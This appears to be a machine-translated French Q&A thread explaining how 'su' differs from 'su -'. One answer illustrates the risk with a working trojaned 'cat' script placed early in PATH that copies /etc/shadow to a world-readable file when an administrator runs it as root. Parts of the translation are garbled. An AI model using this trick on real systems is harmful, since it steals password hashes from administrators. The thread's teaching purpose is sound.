Réponses:
su -
appelle un shell de connexion après le changement d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.
su
change simplement d’utilisateur, fournissant à un shell normal un environnement presque identique à celui de l’ancien utilisateur.
Imaginez, vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et votre administrateur ignorant ne vous donnera tout simplement pas un accès root. Faisons-le (espérons-le) duper.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat
insérer le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si votre administrateur n'est pas si malin ou s'il est un peu paresseux, il pourrait venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
Hou la la! Merci, super administrateur!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Il, il.
Vous avez peut-être remarqué que la $PATH
variable corrompue n'a pas été réinitialisée. Cela ne serait pas arrivé si l'administrateur avait appelé à la su -
place.
umask
000, sinon cela ne fonctionnera pas.
su
fichier dans le PATH. Ce n'est pas si difficile d'imiter le comportement du réel su
. Le super-utilisateur a quand même été négligent :-)
su --
n'est PAS identique à su -
: --
indique à un gestionnaire d'options getopt (s) (ou similaire) d'arrêter le traitement de la ligne de commande pour d'autres options (utile par exemple si le reste contient des noms de fichiers pouvant commencer par un '-'). C'est-à-dire que, dans "rm -i - -f": -f est alors traité comme un argument normal, donc ici comme le nom du fichier dans rm -i
, et non comme une -f
option supplémentaire à la rm
commande. C'est su --
juste su
et pas su -
! Donc, su --
serait aussi dangereux pour l'exemple (amusant et instructif) givan by wag. Utilisez su -
.
su -
vous connecte complètement en tant que root, alors su
que vous prétendez être root.
L'exemple le plus évident en est qu'il ~
s'agit du répertoire de base de la racine si vous utilisez su -
, mais de votre propre répertoire de base si vous utilisez su
.
Selon votre système, cela peut également signifier des différences dans les PATH
fichiers d’ invite , ou d’historique.
Donc, si vous faites partie d'une équipe administrant un système et que votre collègue vous donne une commande à exécuter, vous savez qu'il fonctionnera de la même manière si vous utilisez tous les deux su -
, mais si vous utilisez tous les deux su
, il peut y avoir des différences en raison de votre différentes configurations de shell.
D'autre part, si vous voulez exécuter une commande en tant que root mais en utilisant votre propre configuration, alors peut su
- être que c'est mieux pour vous.
De plus , ne pas oublier sudo
, qui a une -s
option pour démarrer une course shell en tant que root. Bien entendu, ces règles sont également différentes et changent en fonction de la distribution que vous utilisez.
.bashrc
ou /etc/bashrc
ou /etc/profile.d
scripts sont en train de se mettre PATH
. Rechercher if [ $UID -eq 0 ]
ou quelque chose comme ça.
$USER
par exemple est laissé inchangé.
sudo su
?
J'utilise su - quand je suis dans un répertoire en tant qu'utilisateur ordinaire mais que je veux passer à la racine et rester dans le même répertoire après le changement. Lorsque vous utilisez su - il passe l'utilisateur à la racine et vous emmène également à / root qui est le répertoire de base.
/
tout ce qui est défini comme le répertoire personnel de la racine
La principale différence est:
su - username
configure l'environnement shell comme s'il s'agissait d'une connexion propre en tant qu'utilisateur spécifié; il accède et utilise les variables d'environnement des utilisateurs spécifiés,
su username
démarre simplement un shell avec les paramètres d’environnement actuels pour l’utilisateur spécifié.
Si le nom d'utilisateur n'est pas spécifié avec su
et su -
, le compte root est impliqué par défaut.
su --
est le même quesu
.